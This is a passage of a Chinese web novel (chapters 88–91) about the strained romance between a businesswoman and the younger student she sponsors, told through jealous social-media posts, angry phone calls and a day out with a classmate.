姜悯话里混杂着风声和尖锐的汽车鸣笛声。 她在外面。在忙。 眼泪霎时涌出,周灵蕴埋首圈住自己,发出低低的呜咽声。 怎么会变成这样,她们一开始明明就很好。 周灵蕴搞不懂自己哪里做错。学校里,同学们谈恋爱都会发朋友圈官宣的嘛,还会把对象带出来一起吃饭,介绍给自己的朋友们认识。 甚至分手也大大方方,宿舍骂几句,拜拜就拜拜,下一个更乖。 她们光明磊落,坦坦荡荡。 所以她的要求很过分吗? 聊天框背景是她们的合照。 十七岁那年的冬天,姜悯从家顺回一小把仙女棒,小区里找了个人少的地方偷偷放,结果被保安抓住。 心虚害怕,却更多兴奋,仙女棒彻底燃尽之前,姜悯请求保安帮她们拍一张合照。 周灵蕴呆呆看着屏幕,手机的夜拍模式意外把她们照得很好看,那时她们还没有在一起,却比现在亲密得多。一对真正的爱侣,那么自然挨靠在一起。 泪水模糊视线,周灵蕴用力想啊,想啊,快想破脑袋。 怎么会变这样—— 作者有话说:迅疾菇到岗 第88章 楼快塌了吧 年后返工, 春茶上市,也是公司新产品上线的最佳时期,姜悯整天忙得脚不沾地, 睡眠时间被大大压缩,全靠咖啡续命。 小助理给她点外卖, 她习惯了周灵蕴精心烹调的私人小灶, 什么五星酒店的高级厨师,什么私房菜馆的炊事大班……坦白讲, 其实味道还不错,但总觉太多炫技,丧失了本真。 连吃一周外卖,往常不觉, 或许是跟周灵蕴吵架的缘故,食物越来越难以下咽,姜悯早上起床,上秤一称,掉了五六斤。 平时, 她们一个上班, 一个上学, 周内很难碰面, 姜悯吃饭都是胡乱对付。姜悯奇怪,自己是什么时候变得这么挑剔的。 外卖的小米粥她不喜欢,太烫, 太稠。她喜欢喝凉粥,要淡些,虽淡却不稀,米粒和米汤全融为一体, 里头还要放些剪碎的红枣。 米粥要喝甜,但又不能太甜,冰糖的数量要严格控制…… 周灵蕴是怎么做到的呢?是长了颗多细的心啊,能牢记她所有饮食偏好,致使每一口送到她嘴边的饭菜都完美贴合她心意。 姜悯独坐在客厅沙发,外卖的米粥放凉,她只吃了两口,再也没碰过。 今天周六,周灵蕴竟然没回来。 原因不明。 应该打电话说过,可能她当时太忙,忘了。 是吧,到底有没有打过电话呢,姜悯一时竟也想不起。 她翻开通话记录,专属于周灵蕴的云朵备注白底屏幕上并不显眼,最近工作太忙,电话快打到爆,姜悯往下划拉了好几页才找到。 她们最后一次通话是三天前。说了什么,完全不记得了。 聊天记录呢? 姜悯后台切换页面查找,前天晚上八点,有过一次五分钟的语音通话,再往前是周灵蕴分享给她的大段日常。 每天早中晚三顿饭,顿顿不落,起床拍一张自己的被窝和手,洗漱的时候拍张室友种在阳台的多肉,走路上也不闲着,拍拍天空,拍拍树。 [出太阳了。] [桃树的枝桠上缀挂了好多黑色的小点。] [春日蓓蕾,蓄势待发。] [我想春天快点来,就是能只穿一件卫衣出门那种天气。] [我们去踏青。] …… [今年春天确实来得迟。] [四月下旬,海棠能开吗?] [我想去放风筝,我知道有个地方很合适。] [姐姐你小时候放过风筝没呀——] 周灵蕴发了大段的语音,说自己还很小很小的时候,妈妈回来看她,给她带过一个质量很好的风筝,跟同学们在集上买的那种不一样,布老厚老结实了。 [满心欢喜带去学校。] [操场上放,结果挂树上了。] [皂荚树,可高可高,根本够不着。] [哎呦,伤心了好久呢。] …… 姜悯回复大多是两到五秒的语音条。 她逐一点开。 ——“宝贝儿我在忙呢。” ——“今天好忙好忙。” ——“这客户脑子有屎,鸽我。” ——“草啊,差点追尾。” 最长的一则语音消息有十八秒,姜悯歪头琢磨了会儿,完全想不起。 她点开。然后听了十八秒的脏话,关于“差点追尾”。 所以周灵蕴今天为什么没回来,手指在屏幕继续上划,聊天记录却终止。 姜悯心脏不由强烈擂动一下,好像有人攥起拳头在她胸口打了一拳,闷痛传来。 聊天记录呢?去哪里了,她徒劳滑动。 姜悯呆滞两秒,立即寻求解法,网上搜索:vx聊天记录会凭空消失吗? 帖子里挺多人跟她同样遭遇,说跟女朋友或男朋友聊天记录突然就没有了,还是置顶,问大家有解决吗?找客服,或尝试数据恢复,但都无果,感到费解,一觉睡起来天塌了…… 姜悯也觉得天塌了。 她在帖子下面留言,说自己也遇到了,但很奇怪,聊天记录只消失了部分,之前两三天的都在。 姜悯百思不得其解,网上到处找人问,情急顾不得别扭,给周灵蕴发消息说了这事。 周灵蕴回复没来,小某书消息栏显示有人回复。 姜悯点开。 [姐妹,你这个情况确实挺特殊。要不你仔细回忆下,你当时是不是把对方删掉了,只是你忘记了。因为我也是。] “轰——” 似一记开山炮,耳边炸响。 沉底的,被遗忘的记忆翻搅起,水体再次变得浑浊,那日的忙乱和失控脑海中重演。 从年前她们就一直在吵架,吵了很多次,尤其过年那阵日子。但每次吵完,周灵蕴都会立即来找她认错,并承诺下次不会了。 可一次又一次,没完没了。姜悯不胜其烦。 她很清楚周灵蕴的需求,也曾明确表示过需要时间。 ——“你这点耐性也没有吗?” ——“我身边除了你,还有别人吗?” ——“我到底还要重复多少遍。” 可周灵蕴说她不懂。 争吵的爆发,是在公司高管会议开始前半小时。 姜悯正在翻阅助理准备的各项报表文件,突然收到周灵蕴消息。 [我喜欢一个人,我不会这样对她。] 姜悯火气蹭一下就上来了。 [你什么意思,我对你很差吗?你是说。] [生活上很好,但女朋友身份上,很差。] [甚至是极差。] 周灵蕴说。 姜悯气笑了。 [比如呢?] 周灵蕴却说她不想列举。 [我也重复过很多遍了,很多,却总也无法引起重视,‘比如’的意义是什么。] [你永远是有恃无恐的那一方,你从来不会重视我的需求。我对你太好了。] “我对你太好了……我对你太好了?”姜悯喃喃重复,胸口似有一团火,烧干她本就所剩不多的耐心。 “周灵蕴,你真是个忘恩负义的小人,你很会蹬鼻子上脸啊,自你来到我家,至今,你扪心自问我对你怎么样?少你吃还是少你喝了,是我对你太好了吧,才让你得意忘形不知天高地厚。” 姜悯发完这段语音,仍不解气,拨通周灵蕴电话。 助理来催,说会议快要开始,人都齐了,姜悯怒不可遏,挥手示意她离开,电话接通,噼里啪啦就是一顿骂。 “可我不止是你资助的小孩,我也是你的女朋友,我应该获得‘女朋友’这个身份,在你世界的特权。” 周灵蕴的声音听起来非常冷静,甚至冷酷。 “因为我花了你的钱,我欠着你的,你就可以这样对我吗?我现在好好跟你沟通,大家都是第一次谈恋爱,我觉得适度沟通很有必要,我在尽力满足你的一切需求,那我的需求呢?我觉得不应该是我单方面的付出和妥协。” 她有理有据,义正辞严。 可她把她描述得如此不堪!姜悯愈发怒火中烧。 “那你想怎么样?分手行不行,我每天工作很忙,我焦头烂额,快烦死了,还要花时间处理你各种莫名其妙的情绪,你到底在急什么我请问呢?” “我没有在学习吗?我也有很多课要上,很多作业要写,还要小组的试验田。你平衡不了工作和感情,是你自己的问题,你没本事。” 周灵蕴恶狠狠撂下这句。 比她年长十岁,却被如此批判,姜悯那瞬间哑口。 几秒后,她道:“我没本事?难道不是你成日无理取闹?” 助理又来催,姜悯背过身去。 “我要开会了,我要工作,我不是闲人没那么多时间跟你掰扯。” “那就别掰扯了。”周灵蕴语气冷淡。 什么意思,要分手?姜悯肺要气炸,忍不住骂了句脏话,撂下句“滚吧”,终止通话。 真是越想越气,越想越气,会议室的路上她删除了周灵蕴微信。 但在会议结束后不久,她就收到了周灵蕴发给她的道歉短信。 大体内容,跟她以前说的那些差不多,说冲动了,被情绪主导了,保证下次再也不会了。 还有没有下次,姜悯不知,但这一仗,她又赢了。 姿态高傲如天鹅,昂首,姜悯垂眸熄灭手机屏幕,对新朋友列表里周灵蕴的哭喊求饶视而不见,直拖到晚上,才同意申请。 周灵蕴打来语音语音,哭着埋怨。 “你把我删了,我们以前的聊天记录全都没有了。你好狠心。” “你又要闹是吧?”姜悯不耐。 周灵蕴闭嘴。 此后一切如常,周灵装得若无其事,继续分享日常。 满意她的乖顺,习惯了她先低头,所以姜悯竟是完全不记得这档子事。 直到今天,周灵蕴没回家,她才想起探究前因。 所以呢,还在赌气是吧,故意不回家,也没提前打招呼,等她去哄? 姜悯靠坐在沙发,思索几秒,小键盘打字。 [你今天怎么没回家?] 摇头,姜悯又一个字一个字删掉。 兵法三十六计中第十六计,欲擒故纵。你可以的,周灵蕴,对我耍上心眼了。 恰在此时,舒颖发来消息。 [哈喽,姜老板,群里搓了个徒步团,有兴趣吗?出去走走呗,下午出发,明晚回。] 姜悯奇怪,这人是她肚子里蛔虫吗? 怎么知道她今天有闲。 [去哪里?] 姜悯问。 舒颖发来面带红晕笑脸表情。 [你还真有空啊。] 好贱一女的。 好贱。 [有空。] 姜悯言简意赅。 [好。] 舒颖也爽快,群里转发了时间地点,还有详细的徒步路线。 [待会儿我开车去接你。] 姜悯总觉得她有话没说。 [怎么突然想到今天约我。] [你猜?] 舒颖故意卖关子。 姜悯让她有屁赶紧放。 [好久没跟我秀恩爱了。] [楼快塌了吧。] 舒颖又发来一段语音,模仿新疆馕言文,怪腔怪调,幸灾乐祸。 “欸,捧油,心里烤包子一样冷掉,你的后面嘛我顶着——”—— 作者有话说:欸,捧油,高铁一样的速度嘛我有。迅疾菇到岗 第89章 饮鸩止渴 [好奇怪。] [我们之前的聊天记录没有了。] [我要找客服问问。] [我要闹!] 周灵蕴从电影院出来, 等待同伴上卫生间期间,从裤兜里把手机摸出来,关闭静音模式, 随后点开对话框。 她起先莫名,把姜悯发来的这四则消息反复看了很多遍。 没头没尾的, 什么聊天记录。 影院密闭空间, 巨屏伤眼,周灵蕴每次看完电影出来脑袋都有点疼。 她靠在商场四楼围栏边, 远眺几秒,努力摒除掉脑海中残余的影视画面,稍花费了一点时间理清思绪。 嗷,所以姜悯完全不记得前阵子吵架删微信那档子事吗? 距离她消息发出已经过去一个小时。 [找到解决办法了吗?] 周灵蕴面无表情敲字回复, 默默积攒怒气值。 姜悯没有立即回复。 周灵蕴是临时约的赵圆,也是赶巧,女生今天休息,不用打工,她们在学校附近的商场看电影, 待会儿打算去公园走走, 晚上一起吃饭。 “你脸色看起来不太好。”女生快速小幅度踮脚, 伸手在周灵蕴面前挥挥, “是不是累了。” “有点。”收起手机,周灵蕴捏捏眉心,“可能是影院空气不好, 我头疼。” 思索两秒,女生提出解决方案,“那我们快走到没有屋顶的地方,呼吸呼吸新鲜空气, 再没有好转,我给你按按。” “啊?”周灵蕴吓了一跳,“你给我按?” 赵圆点头,大眼真挚明亮,“我妈也经常嚷嚷脑袋疼,我从小给她按,按了十几年,手法相当娴熟的。” “啊这样……”周灵蕴笑着点头说好。 并肩下扶梯,出商场,外头人多,周末全是出来找消遣的大学生。担心走散,又没有跟除姜悯之外的人牵手的习惯,周灵蕴只是身体微微地侧向她,确保她在自己视线范围内。 赵圆小巧,被人肩膀撞开几次,捂住自己的刘海小跑追上,有些气恼。 周灵蕴原地站定,笑着等她。 “欸好烦,我还是挽着你吧。”赵圆说,手臂自然缠绕。 隔着两层衣袖,没有肌肤触碰,周灵蕴还是小小僵了下。 对方也够敏锐,立即松手,“你不喜欢跟人有肢体接触吗?” “没,我没。”不想把气氛弄得太尴尬,显得她人多刻薄,周灵蕴手臂微抬,示意她继续。 也不别扭,赵圆笑呵呵重新挽上,“所以你是喜欢女生的吧。” 周灵蕴微讶,她从来没在学校提过关于性取向和姜悯任何。 她跟姜悯关系复杂,说出去,必要遭遇恶意曲解,朵朵和蛋挞都让她防着点,多长个心眼别什么事都往外掏。 当然更重要的原因,姜悯尚未认可她们之间的恋爱事实。 “挺明显,你的气质。”赵圆说她起先只是猜想,“但我挽你的时候,你打了个颤,那瞬间我有一种微妙感觉,你好像在避嫌。” 被说中了。 周灵蕴半张着嘴,想辩解两句,然而事实如此。她无话可说。 好在赵圆并没有在这个问题上纠结太久,更关心她脑袋还痛不痛。 感受两秒,周灵蕴说“有点”。 公园里找个僻静地方,长椅上坐着,赵圆给她按头。 周灵蕴起先紧张,颈椎僵硬,但确实如赵圆所说,十几年的老师傅了,手法娴熟,摇奶茶摇多力气还不小。 沿着河堤散步,柳色欣欣,早春湿润的绿意稍洗去心头苦闷,周灵蕴慢吞吞走着,听旁边女生有一搭没一搭说话,暂时忘记了跟姜悯之间的许多不愉快。 晚饭是路边一家生意火爆的苍蝇小馆,赵圆说她常来,这家宫保板筋超绝。 等菜期间,周灵蕴终于找到机会把手机拿出来。 姜悯没回。 大概也觉得自己丢人吧。然后呢,怎么不问问她今天为什么没回家。 点开她头像,熟悉的资料页,昵称直白,干脆就是她大名——姜悯。据说是为方便客户。 微信号是名字首字母缩写和手机号,早从百慕大搬出来了,现居新西兰北岸。 等等…… 周灵蕴眼睛亮了下,旋即点开姜悯朋友圈。 下一秒,她眉头皱起。 高山,日落,开阔的草甸,夕照辉映下女人精致侧颜,穿冲锋衣,戴渔夫帽,面朝山野背身站在峭崖处。 还有帐篷,户外炉上煮沸的金黄泡面。 姜悯最新一条九宫格朋友圈,是她今日户外徒步所见。 周灵蕴一张张细看,滑至最后,是姜悯跟舒颖的合照。 两人差不多的身高,差不多的装束,肩并肩站着,面对镜头,自然舒展笑容。 周灵蕴放大图片,视线定格在姜悯懒散搭靠在舒颖肩膀的手臂。 嗷,难怪呢,不问她今天为什么没回家,原来是跟老阿姨野外幽会。 不愿公开跟她的关系,忘记跟她吵架,忘记曾删掉她的微信,不再询问她的去向……原来都是有迹可循。 就是不爱吧。 是不爱了,还是从来没爱过? 恰好菜上齐,咽不下这口气,周灵蕴迅速反击,也胡乱凑了张九宫格发出去。 姜悯脱掉鞋子躺在帐篷里,不知第多少次点开跟周灵蕴的聊天框又关闭,似是心电感应,她切页戳开朋友圈。 早春初绽的桃枝,风中微摆的柳叶,开满蓝色小花的草地…… 两张电影票,两杯奶茶,外加三菜一汤。 姜悯根本没兴趣看周灵蕴拍的风景照,从电影票开始,一张张放大查阅。 看的动画片,地图搜索影院,是学校附近的商圈。应该是跟同学。 奶茶两杯是一样的,一杯全糖,另一杯则是少甜。应该没换着喝。 菜是宫保板筋,玉米肉沫,凉拌黄瓜,外加道南瓜汤。瞧着分量不小,吃得完吗? 桌对面是女生吧,一截浅粉色袖口,手胖乎乎的,但皮肤很白。 姜悯伸出自己的手对比,帐篷里有点黑于是她爬起来把半截身子探出去,跟手机紧挨着看。 她也白!她手指还更细呢! “你干嘛?”舒颖走过来,递给她条装的漱口水,“野外将就着用吧,我看你也没化妆,想洗脸的话湿纸巾随便擦擦。” 姜悯接过,道声谢,想了想,图片放大怼到舒颖面前,“我跟这人,谁的手长得好看。” 舒颖瞄了眼,嘴角抽搐一下,“没必要。” “你说。”姜悯手机快按到人家脸上。 舒颖盯她两秒,笑起来,说看不清楚,趁机把手机拿过去。 她前后滑动,随后明了,“各有各的好看。” “你看不见自己吧,你现在的样子真的特别贱,你笑得特别贱。” 姜悯无所谓被她看破,“怎样,我就要比。” 舒颖清清嗓子,回头看了眼落日,强按耐住笑意,“客观评价,小胖手捏起来也蛮舒服的。” “你现在客观起来了?我不是你的挚友吗为什么不向着我。”姜悯丢开手机,在睡垫上扑腾,使劲儿地扑腾。 “她就是故意的,故意惹我生气,不回家跑去跟别人约会,还三菜一汤,吃得明白吗?” “那你呢。”舒颖在帐篷门口坐下,“你不也自己跑出来玩了。” 姜悯暂停扑腾,瞪她,“不是你喊我?” “得亏喊了,不然你独守空房,再瞧见女大跟别人约会的照片,非气吐血。” 个个都是福尔摩斯,舒颖拿过姜悯手机,继续分析,“电影票位置居中,提早买的,不是今早就是昨晚,说明她今天根本没打算回家。” 姜悯定睛一看,还真是。 她呆住,鼻腔涌起强烈酸楚感,并迅速牵动眼眶漫上潮热。 舒颖担忧“欸”了一声,“不是,你先听我说。” “你不用说。”姜悯倒下去,“你什么都不用说,我自己知道。” 泪雾尚未积蓄成雨,大脑随即被疯狂而愚蠢的恼怒占据,一秒也忍不了,姜悯抓起手机,爬出帐篷,套上鞋走到一处没人的草窝子。 周灵蕴饭吃到一半,接到姜悯电话。她心脏猛地一跳,乱了节奏,视线凝固在屏幕上黄脸小人亲亲图标。 铃声急切催促,山雨欲来风满楼。 “你先吃,我接个电话。”周灵蕴跑出小饭馆,来到巷子深处,一户人家门前的小花坛。 “在哪里?”姜悯先声夺人,“在干嘛?” “在学校附近,跟同学吃饭。” 如实汇报,听到久违的熟悉的声音,周灵蕴始终不安浮荡的心海终于平静下来。 她好难过,好委屈,“你把我删了,你自己都不记得,你还跑出去玩。” 安静几秒,因她的示弱,火消了些,姜悯深吸气,“你不也没回家。” “你很在意哦。”眼底几番潮涨,周灵蕴鼻音浓厚,“我以为你根本不在意我的去向。” “还吃那么好?”姜悯超不爽,“我晚上只吃了泡面,你三菜一汤,你好会吃。” “汤是免费的。”周灵蕴说。 “免费给喝南瓜汤?”姜悯不信,“老板做慈善呢。” 周灵蕴说真的,“学校这边,汤都是免费。” 姜悯低骂一句。 周灵蕴心里难过得要死掉了。 “你想让我回家,为什么不告诉我呢,你最近对我真的好冷漠,你还爱我吗?我现在完全感受不到了。” 她手背胡乱抹了下哭泣的眼睛,“你是不是真的更喜欢姐姐啊,那个老阿姨。我可以再变得懂事些,听话些,别丢下我好吗,求求你。” 恨死这样没出息的自己了,可她就是做不到啊,做不到平静无视,撕裂的痛楚又一次战胜自尊。 周灵蕴像往常很多次那样,哀求她,“明天可以回来吗?我明天就回家,我很想你,我想见你,你不要跟那个老阿姨玩。” 想回到她身边,想看到她,想握住她的手贴在脸颊……尽管这不过是饮鸩止渴—— 作者有话说:慢慢推进 第90章 我给你脸了 “我不回去了, 跟朋友说好的,中途走人不像话。我看你也玩得挺开心的,好好享受吧, 跟你的朋友。” 语速极快,姜悯说完挂断电话, 却没有急着回到帐篷。 她有心惩治, 往常管用的手段,刻意制造冷漠感和疏离感, 训狗一样。 果然,周灵蕴很快回拨电话。 半耷拉着眼皮,无声睨着,姜悯不接。她故意让周灵蕴着急, 也是心里一股气憋着。 道理都懂,比如“你当然可以有自己的社交圈,我什么时候不准你交朋友了”?但道理归道理,脾气是脾气。姜悯就是不爽。 其实要接,姜悯只是想晾晾她。 只许州官放火, 不许百姓点灯, 姜悯一向霸道。 周灵蕴朋友不少。 蛋挞和小哑巴自然不用讲, 万玉刚开学没多久就谈了男朋友, 梦真取向不明,但她一直在外地打工,事业狂, 周灵蕴跟她联系不多。 朵朵和梓涵嘛,人家本就是一对,现在还好好谈着,也不在本地, 安全范围内。 大学里认识的就不一样了。过去压抑的学习氛围中挣脱出来,都成年了,蠢蠢欲动的,危险指数九颗星。 桌对面那女孩长得什么模样?姜悯好奇。 她不否认自己的卑劣,把素未谋面的陌生女孩当作假想敌,她就是想比。 只瞧见人家一只手,都要拉出来比比粗细。 很无聊,她知道无聊,可这天底下谁敢保证自己心里一辈子没龌龊? 人就是这样,人就是这世上最恶心最肮脏最卑鄙的生物。至少,她可以坦然接受自己内心的腌臜,没装出一副伟光正圣母样。 那女孩手指不算细,但皮肤白皙,通过一点细微,姜悯联想出一张粉嫩无害的小圆脸。 周灵蕴会喜欢那样的吗?看起来乖乖软软懵懂简单的? 喜欢,当然喜欢。周灵蕴跟那女孩,某种程度上来说是一类人。 好脾气,耐性足,还没心机。她也喜欢。 但两个太过相似的人,相处是否太过无趣? 姜悯一直觉得自己有点不正常。但正常的恋爱固然可贵,扭曲的感情更为可口…… 神叨叨,脑袋里乱七八糟想着这些,对电话呼叫上限估算错误,姜悯回神,将要接起时,按钮却消失。 她手慢了半拍。 说不心慌是假,姜悯并没有她表现出来的那般洒脱不羁。周灵蕴真被惹伤心,不继续给她打电话了怎么办? 她面子金贵,当然不可能主动示弱,不小心错过“放低姿态”的机会,问题相当严重了。 幸好,周灵蕴够“懂事”,第二通电话很快打来。 姜悯默数五秒,接起。 “我待会儿吃完饭就回去。”周灵蕴死死攥着手机,掌心起了汗,“不要生我的气了,我们见面吧,好不好?” “我说了,我在山里,没办法回去。我必须要跟着领队走,而且答应了朋友,跟人一起出来玩,中途突然跑掉算怎么回事。” 姜悯话虽如此,确有在思考鸽子的可能性。 “是不是跟那个老阿姨。”周灵蕴立即问。 “她确实比我大几岁,但还没到被喊阿姨的地步……”姜悯有点好笑。 “你帮她说话?”周灵蕴顿时不满,“上次她调戏我来着,我跟你说过的,她不是什么好东西,你还跟她玩。” 姜悯当然不会讲,除了舒颖本就爱犯贱那部分因素,她其实在帮她。想看楼塌想疯了,迫不及待,推波助澜。 生意人角度,彼此都能获利,她默许的。 “你觉得我不够成熟吗?你喜欢姐姐,那种老谋深算的老狐狸,你能算得过人家吗?”周灵蕴也很难不醋,她跟姜悯一起生活那么多年,从她还是个孩子的时候。她跟她越来越像。 “你确实不够成熟,你是应该学着独立。” 此话并非姜悯本心,脱口而出的瞬间,她想得到的,是周灵蕴的惊吓和恐慌。不过在给对方制造危机感,为进一步加强她的管控。 她能不能算过舒颖,不知。 但那点心计用来对付周灵蕴,绰绰有余。 周灵蕴果然被吓到,语调发颤,“为什么突然说这些,你不要我了吗,我们的合同不是到大学毕业吗?” 她一颗心完全被人攥在手里,任意拿捏,生死不由。 姜悯一声低嗤,“是你自己说的。过年在老家,你说你想打暑假工,你们寝室有个女孩叫赵圆,她……” 嗷,姜悯突然想起来了。 “所以你今天是跟她在外面玩,对吧?赵圆,应该就是她吧,你提过她很多次,听起来关系蛮近的。” 周灵蕴跳过她的阴阳怪气,直击问题根本。 “那你想让我去打暑假工吗?你刚说让我学着独立,是在吓我,还是真心话。” 被拿捏住命门,姜悯沉默。 “说话。”周灵蕴加重语气。 “说什么?”姜悯手搓了下额头,焦灼。 “说,自你来到我身边,花了我多少钱你有算过吗?不说吃喝拉撒,进春蕾前的择校费,进春蕾后的补习费,高中三年,还有现在大学的学费、生活费,甚至将来读研的费用,你光靠打暑假工,能挣够吗?” 周灵蕴噼里啪啦,竹筒倒豆子,把姜悯心里话全说出来了。 “我知道你不在乎钱,你有很多钱,你从来没算过你在我身上花了多少钱,你说过,我带你的价值,我这个人本身,我的陪伴,是金钱不能衡量的,我是你的家人、挚友,更是恋人……” 她们也有过很好很好的时候,姜悯对她说过很多很多的窝心话。 ——“我爱你。” ——“你对我来说非常重要。” ——“如果没有你,我不知道该怎么办。” ——“你带给我全新的生活。” ——“周灵蕴,你根本不知道,你不知道你对我来说究竟有多重要。” 那些话,是周灵蕴对姜悯死心塌地的根本。 是绳索套在脖子上,绳结的另外一头在她手中,乡下孩子有乡下狗一样的坚韧和忠诚,不知疲倦,时刻保持着仰望的姿态。 仰望着她的主人。 “但,如果,你不再需要我,厌倦我了,可以随时告诉我,我会学着自己独立的。我很懂事的,不会一直缠着你的,耽误你跟别人谈。” 这是周灵蕴最不能接受的事实。 姜悯不再需要她,不需要她做的饭,她的拥抱,她的关心、紧张、退让…… 她的一切。 无论是周灵蕴对于姜悯,还是姜悯对于周灵蕴,她们彼此,俱是关系重大。 周灵蕴这番话,对姜悯来说,何尝不是一种威逼胁迫。 “你吓我?”姜悯一下站直了。 “我还能吓到你?”周灵蕴反问。 她们旗鼓相当。 “什么叫不耽误我跟别人谈,我什么时候跑去跟别人谈了,我很有空闲吗?”姜悯微妙的示弱,表达忠诚,尽管依旧尖锐。 周灵蕴就搁这儿等她,“那怎么不认我,觉得我丢人呐,不体面,穷学生,乡下妹,配不上你城里大老板。” 恍然大悟,姜悯不由哈出一声笑音,“说来说去还是那些。” “是的,说来说去还是那些。”周灵蕴蹲在巷里人家户门口的台阶上,闭了闭眼。 同一个问题,反复被提起又反复被搁置,耐性被磨损严重,周灵蕴真的有些恼了。 “姜悯,是不是我给你惯的,给你惯得不知天高地厚,给你脸了。” “你给我脸了?”姜悯险些以为自己聋了。 好像周灵蕴就在面前,怒气填胸,她双眸赤红,指着自己鼻尖,“你再说一遍,谁给谁脸。” “我给你脸了。”周灵蕴重复。 姜悯哑然几秒,理智被怒火焚尽,“滚吧你妈的。” “我没妈,你自己滚吧。”周灵蕴不甘示弱回呛。 又是一场不欢而散。 好在收尾不至于让人眼泪乱飙,周灵蕴挂断电话回到饭桌,勉强维持着最后的体面,只是脸和脖子涨红,像只熟虾。 赵圆一直没动筷,在等她,目光担忧,“你没事吧?” “没。”周灵蕴木木摇头。 “可以说吗?”赵圆第一次见她这样,有点被吓到,出于对朋友的关心,想为她做点什么。 周灵蕴双手捂住脸,长舒了一口气,摇头。 “好,没事。”赵圆理解,打好的米饭往她面前推推,“先吃吧,都凉了。” “你打工累吗?”周灵蕴突然问道。 话题切换得有点快,赵圆愣了下,手指抓抓额角,“开始……有点,适应了就还好,每天过得挺充实的,闲下来倒无所适从。” 周灵蕴点头,机械往嘴里填饭。 赵圆说她从初三就开始打暑假工,做些没啥技术含量的工作。 “比如服装导购,饰品店导购,或者服务员啥的,对年龄要求不高,老家那块也不像大城市查得严,因为我妈妈身体不好,我不想让她太辛苦……” 她自顾说着,自顾点头。 “我奶奶身体也不好。”周灵蕴似乎从对方的经历里看到自己。 从初三开始打暑假工的赵圆,赚钱为减轻家庭负担,照顾体弱的妈妈的赵圆……是周灵蕴理想中的,完美的体面的自己。 姜悯对她不差,她不想用“寄人篱下”来形容现在的状态。 但她总要独立的。 “我小时候也打过几天工,也是初三,但那家老板对我很坏,一家三口都欺负我,工作的辛苦不值一提,但……” 周灵蕴每次回忆起,都痛苦不已。 痛苦不在被欺辱,而是她的任性带来的狼狈后果,没有能力独自消化并解决,惹奶奶为她伤心流泪。 奶奶一直把她保护得很好,她从小到大没挨过别人欺负。 可她偏要自讨苦吃。 周灵蕴绝望捂脸。 她不确定自己能不能做好—— 作者有话说:针锋相对了魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 “你养不好就别养啊。”…… 不愿坐以待毙, 无论是跟姜悯的关系,还是自身对生活和命运的掌控。 周灵蕴决不束手就缚,从小就是。 曾经, 因为年龄尚小,见识短浅, 她或许做得不够好, 遭遇许多挫折打击,悬崖下, 迷雾中屡次碰壁,鲜血淋漓。 但即便如此,即便光芒微弱而遥远,她也从未想过放弃。只要还有一丝希望尚存, 被打断了腿爬也要爬过去。 她开始思考一些更深层次的问题。 对姜悯,年仅十四的她,是像水蛭一样稍闻到一点血腥气,就急切地蛹动起来,吸盘牢贴在对方小腿皮肤, 通过摄食鲜血壮大自身…… 还是像她自己从前认为的那样, 是茂林中羸弱的小树, 默然扎根大地, 努力抽枝生长,穿过地表的晦暗潮湿,越众傲然独享这世界每一场晴雨。 可无论是水蛭还是小树, 大家都只是为了活着不是吗? 水蛭并不比小树低劣。 单论外貌,水蛭或许不如小树体面漂亮,但美丑也是具有生物局限性的。 在猫咪的眼里,两脚无毛兽必丑不忍视。 没有罐罐, 人类算个老几? 大家生活在同一个地球,人类并没有比其他生物高贵。 她是水蛭又如何。一次又一次,她出现在姜家山脚的两层小别墅门前,踮脚往里张望,像昆虫天生被光亮吸引,徘徊在灯下。 她一早就察觉到姜悯对她的特殊。 她们第一次见面,姜悯便看傻她,茶厂门前马路边,呆呆不动看了很久,还问她几岁。 她又不傻,怎么会感觉不到。 于是她女鬼一样缠上她,天不亮起来,老木柜里翻出自己最体面的一身衣裳,饭都来不及吃急忙忙下山寻,费尽心机,三百六十度托马斯回旋展示自己的可怜。 …… 那又如何?不过是求生本能。 姜悯对她,也称不上光明磊落。说难听她们各取所需罢了。 这世上的一切关系,都是各取所需。 钱也好,陪伴和依赖也罢。物质和情绪价值总得占一样吧,否则凭什么? 可是,爱也是真的。她很爱她。 人是复杂的生物。 心里乱七八糟的,好好一顿饭,吃得没滋没味。 周灵蕴筷子无聊戳着碗里一截干辣椒,跟赵圆还是有点不好意思,嗫嚅着,“那……那你在外面打工,有遇到一些不好的事情吗?” 想了想,赵圆叹气,“肯定都会遇到的,外面很多奇奇怪怪的人。” 她说第一次打工遇到的老板很坏,克扣工资不说,还总拿店里小孩出气,骂人难听,有时甚至上手打人。 “不过下有对策,店里跟我一起干活的姐姐教我躲监控,把店里东西偷出去卖,抵工资。” 周灵蕴“啊”了一声。 赵圆捂嘴笑,眼睛眯成两道弯弯的月牙。 “那时候太小了,不懂。我又很笨,担心被发现不敢,只是替她们打掩护。” 周灵蕴不由笑了下,“那你岂不很亏。” 赵圆先是点头,随后又急切地摇头。 她也跟着笑起来,皱皱鼻子,握拳,“是有点亏哦,当时应该多偷些的!哈哈……不过我也因此结识了几位很好的朋友,嗯,那个姐姐,我高中的时候找她借过钱,我们现在还有联系。” 饭后,她们去附近的小广场散步,路边找台阶坐,聊天。 周灵蕴听她有一搭没一搭说着以前的事,从她的故事里,好像找到了一点勇气。 有了现实的案例参考,心里某个蠢蠢欲动的念头,字句间逐渐凝实,开始有了形状。 周灵蕴想把赵圆先送学校,再自己搭地铁回家,赵圆听说她安排,倒先把她送到地铁站。 聊着聊着,走着走着,无知无觉来到地下通道口前,周灵蕴“欸”一声,一下没反应过来。 “你不是要回家,快走吧。”赵圆跟她挥手拜拜,“我吃太饱我要走着回去,你也快走。你心情不好吃太少,我不想浪费,结果撑到了。” 她揉揉肚子,表示难受,打了个嗝。 周灵蕴笑着说对不起,“下次一定,让你没得吃。” 赵圆凌空一脚,踢飞她,“走吧。” 周灵蕴身体配合晃动两下,表示起飞,“走喽——” 玩了一天,要分开还有点舍不得,周灵蕴通道口站了半分钟,目送她快步走远。 [感觉你充满了温情。] [像电视剧里追火车的依萍。] 地铁上,周灵蕴收到赵圆消息。 周灵蕴忍不住乐出声,又困惑地抓抓脑袋。 [啥意思呀?] [我回头看了两次,你一直站那。] 赵圆说。 [是。] [咋了?] 周灵蕴似懂非懂。 [我不会。] [我妈每次到车站送我,我都说不要。] [所以我刚在想,其实应该让她去的。] [你觉得呢?] 赵圆说。 [我第一次离家,奶奶也躲着没出来见我。] [她害怕流泪,怕我舍不得。] 还担心她临时反悔,放弃了来之不易的改变命运的机会。 呼气,周灵蕴握了下拳头。 [我想“摄取”到你身上的一些感性。] 